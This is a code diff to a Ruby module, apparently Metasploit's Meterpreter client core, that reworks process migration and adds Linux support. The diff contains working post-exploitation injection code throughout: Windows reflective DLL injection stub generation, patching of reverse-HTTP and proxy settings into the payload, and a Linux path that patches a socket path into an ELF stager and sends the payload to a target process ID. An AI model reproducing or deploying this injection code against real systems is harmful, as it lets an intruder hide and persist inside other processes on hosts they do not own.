@@ -25,6 +25,9 @@ module Meterpreter
25
25
###
26
26
class ClientCore < Extension
27
27
28
+ UNIX_PATH_MAX = 108
29
+ DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
30
+
28
31
#
29
32
# Initializes the 'core' portion of the meterpreter client commands.
30
33
#
@@ -180,11 +183,13 @@ def use(mod, opts = { })
180
183
# Migrates the meterpreter instance to the process specified
181
184
# by pid. The connection to the server remains established.
182
185
#
183
- def migrate ( pid )
186
+ def migrate ( pid , writable_dir = nil )
184
187
keepalive = client . send_keepalives
185
188
client . send_keepalives = false
186
189
process = nil
187
190
binary_suffix = nil
191
+ old_platform = client . platform
192
+ old_binary_suffix = client . binary_suffix
188
193
189
194
# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
190
195
client . core . use ( "stdapi" ) if not client . ext . aliases . include? ( "stdapi" )
@@ -202,63 +207,58 @@ def migrate( pid )
202
207
raise RuntimeError , "Cannot migrate into non existent process" , caller
203
208
end
204
209
205
- # We cant migrate into a process that we are unable to open
206
- if process [ 'arch' ] . nil? or process [ 'arch' ] . empty?
207
- raise RuntimeError , "Cannot migrate into this process (insufficient privileges)" , caller
210
+ # We cannot migrate into a process that we are unable to open
211
+ # On linux, arch is empty even if we can access the process
212
+ if client . platform =~ /win/
213
+ if process [ 'arch' ] == nil || process [ 'arch' ] . empty?
214
+ raise RuntimeError , "Cannot migrate into this process (insufficient privileges)" , caller
215
+ end
208
216
end
209
217
210
- # And we also cant migrate into our own current process...
218
+ # And we also cannot migrate into our own current process...
211
219
if process [ 'pid' ] == client . sys . process . getpid
212
220
raise RuntimeError , "Cannot migrate into current process" , caller
213
221
end
214
222
215
- # Create a new payload stub
216
- c = Class . new ( ::Msf ::Payload )
217
- c . include ( ::Msf ::Payload ::Stager )
223
+ if client . platform =~ /linux/
224
+ if writable_dir . blank?
225
+ writable_dir = tmp_folder
226
+ end
218
227
219
- # Include the appropriate reflective dll injection module for the target process architecture...
220
- if process [ 'arch' ] == ARCH_X86
221
- c . include ( ::Msf ::Payload ::Windows ::ReflectiveDllInject )
222
- binary_suffix = "x86.dll"
223
- elsif process [ 'arch' ] == ARCH_X86_64
224
- c . include ( ::Msf ::Payload ::Windows ::ReflectiveDllInject_x64 )
225
- binary_suffix = "x64.dll"
226
- else
227
- raise RuntimeError , "Unsupported target architecture '#{ process [ 'arch' ] } ' for process '#{ process [ 'name' ] } '." , caller
228
+ stat_dir = client . fs . filestat . new ( writable_dir )
229
+
230
+ unless stat_dir . directory?
231
+ raise RuntimeError , "Directory #{ writable_dir } not found" , caller
232
+ end
233
+ # Rex::Post::FileStat#writable? isn't available
228
234
end
229
235
230
- # Create the migrate stager
231
- migrate_stager = c . new ( )
236
+ blob = generate_payload_stub ( process )
232
237
233
- dll = MeterpreterBinaries . path ( 'metsrv' , binary_suffix )
234
- if dll . nil?
235
- raise RuntimeError , "metsrv.#{ binary_suffix } not found" , caller
236
- end
237
- migrate_stager . datastore [ 'DLL' ] = dll
238
+ # Build the migration request
239
+ request = Packet . create_request ( 'core_migrate' )
238
240
239
- blob = migrate_stager . stage_payload
241
+ if client . platform =~ /linux/i
242
+ socket_path = File . join ( writable_dir , Rex ::Text . rand_text_alpha_lower ( 5 + rand ( 5 ) ) )
240
243
241
- if client . passive_service
244
+ if socket_path . length > UNIX_PATH_MAX - 1
245
+ raise RuntimeError , "The writable dir is too long" , caller
246
+ end
242
247
243
- #
244
- # Patch options into metsrv for reverse HTTP payloads
245
- #
246
- Rex ::Payloads ::Meterpreter ::Patch . patch_passive_service! blob ,
247
- :ssl => client . ssl ,
248
- :url => self . client . url ,
249
- :expiration => self . client . expiration ,
250
- :comm_timeout => self . client . comm_timeout ,
251
- :ua => client . exploit_datastore [ 'MeterpreterUserAgent' ] ,
252
- :proxyhost => client . exploit_datastore [ 'PROXYHOST' ] ,
253
- :proxyport => client . exploit_datastore [ 'PROXYPORT' ] ,
254
- :proxy_type => client . exploit_datastore [ 'PROXY_TYPE' ] ,
255
- :proxy_username => client . exploit_datastore [ 'PROXY_USERNAME' ] ,
256
- :proxy_password => client . exploit_datastore [ 'PROXY_PASSWORD' ]
248
+ pos = blob . index ( DEFAULT_SOCK_PATH )
249
+
250
+ if pos . nil?
251
+ raise RuntimeError , "The meterpreter binary is wrong" , caller
252
+ end
253
+
254
+ blob [ pos , socket_path . length + 1 ] = socket_path + "\x00 "
257
255
256
+ ep = elf_ep ( blob )
257
+ request . add_tlv ( TLV_TYPE_MIGRATE_BASE_ADDR , 0x20040000 )
258
+ request . add_tlv ( TLV_TYPE_MIGRATE_ENTRY_POINT , ep )
259
+ request . add_tlv ( TLV_TYPE_MIGRATE_SOCKET_PATH , socket_path , false , client . capabilities [ :zlib ] )
258
260
end
259
261
260
- # Build the migration request
261
- request = Packet . create_request ( 'core_migrate' )
262
262
request . add_tlv ( TLV_TYPE_MIGRATE_PID , pid )
263
263
request . add_tlv ( TLV_TYPE_MIGRATE_LEN , blob . length )
264
264
request . add_tlv ( TLV_TYPE_MIGRATE_PAYLOAD , blob , false , client . capabilities [ :zlib ] )
@@ -307,15 +307,28 @@ def migrate( pid )
307
307
end
308
308
end
309
309
310
- # Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
311
- # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
312
- # If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this.
313
- if process [ 'arch' ] == ARCH_X86_64
314
- client . platform = 'x64/win64'
315
- client . binary_suffix = 'x64.dll'
310
+ # Update the meterpreter platform/suffix for loading extensions as we may
311
+ # have changed target architecture
312
+ # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a
313
+ # module this is the simplest solution I could think of. If the platform
314
+ # specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change
315
+ # significantly we will need a better way to do this.
316
+
317
+ case client . platform
318
+ when /win/i
319
+ if process [ 'arch' ] == ARCH_X86_64
320
+ client . platform = 'x64/win64'
321
+ client . binary_suffix = 'x64.dll'
322
+ else
323
+ client . platform = 'x86/win32'
324
+ client . binary_suffix = 'x86.dll'
325
+ end
326
+ when /linux/i
327
+ client . platform = 'x86/linux'
328
+ client . binary_suffix = 'lso'
316
329
else
317
- client . platform = 'x86/win32'
318
- client . binary_suffix = 'x86.dll'
330
+ client . platform = old_platform
331
+ client . binary_suffix = old_binary_suffix
319
332
end
320
333
321
334
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
@@ -348,6 +361,94 @@ def shutdown
348
361
true
349
362
end
350
363
364
+ private
365
+
366
+ def generate_payload_stub ( process )
367
+ case client . platform
368
+ when /win/i
369
+ blob = generate_windows_stub ( process )
370
+ when /linux/i
371
+ blob = generate_linux_stub
372
+ else
373
+ raise RuntimeError , "Unsupported platform '#{ client . platform } '"
374
+ end
375
+
376
+ blob
377
+ end
378
+
379
+ def generate_windows_stub ( process )
380
+ c = Class . new ( ::Msf ::Payload )
381
+ c . include ( ::Msf ::Payload ::Stager )
382
+
383
+ # Include the appropriate reflective dll injection module for the target process architecture...
384
+ if process [ 'arch' ] == ARCH_X86
385
+ c . include ( ::Msf ::Payload ::Windows ::ReflectiveDllInject )
386
+ binary_suffix = "x86.dll"
387
+ elsif process [ 'arch' ] == ARCH_X86_64
388
+ c . include ( ::Msf ::Payload ::Windows ::ReflectiveDllInject_x64 )
389
+ binary_suffix = "x64.dll"
390
+ else
391
+ raise RuntimeError , "Unsupported target architecture '#{ process [ 'arch' ] } ' for process '#{ process [ 'name' ] } '." , caller
392
+ end
393
+
394
+ # Create the migrate stager
395
+ migrate_stager = c . new ( )
396
+
397
+ dll = MeterpreterBinaries . path ( 'metsrv' , binary_suffix )
398
+ if dll . nil?
399
+ raise RuntimeError , "metsrv.#{ binary_suffix } not found" , caller
400
+ end
401
+ migrate_stager . datastore [ 'DLL' ] = dll
402
+
403
+ blob = migrate_stager . stage_payload
404
+
405
+ if client . passive_service
406
+
407
+ #
408
+ # Patch options into metsrv for reverse HTTP payloads
409
+ #
410
+ Rex ::Payloads ::Meterpreter ::Patch . patch_passive_service! blob ,
411
+ :ssl => client . ssl ,
412
+ :url => self . client . url ,
413
+ :expiration => self . client . expiration ,
414
+ :comm_timeout => self . client . comm_timeout ,
415
+ :ua => client . exploit_datastore [ 'MeterpreterUserAgent' ] ,
416
+ :proxyhost => client . exploit_datastore [ 'PROXYHOST' ] ,
417
+ :proxyport => client . exploit_datastore [ 'PROXYPORT' ] ,
418
+ :proxy_type => client . exploit_datastore [ 'PROXY_TYPE' ] ,
419
+ :proxy_username => client . exploit_datastore [ 'PROXY_USERNAME' ] ,
420
+ :proxy_password => client . exploit_datastore [ 'PROXY_PASSWORD' ]
421
+
422
+ end
423
+
424
+ blob
425
+ end
426
+
427
+ def generate_linux_stub
428
+ file = ::File . join ( Msf ::Config . data_directory , "meterpreter" , "msflinker_linux_x86.bin" )
429
+ blob = ::File . open ( file , "rb" ) { |f |
430
+ f . read ( f . stat . size )
431
+ }
432
+
433
+ blob
434
+ end
435
+
436
+ def elf_ep ( payload )
437
+ elf = Rex ::ElfParsey ::Elf . new ( Rex ::ImageSource ::Memory . new ( payload ) )
438
+ ep = elf . elf_header . e_entry
439
+ return ep
440
+ end
441
+
442
+ def tmp_folder
443
+ tmp = client . sys . config . getenv ( 'TMPDIR' )
444
+
445
+ if tmp . blank?
446
+ tmp = '/tmp'
447
+ end
448
+
449
+ tmp
450
+ end
451
+
351
452
end
352
453
353
454
end ; end ; end
0 commit comments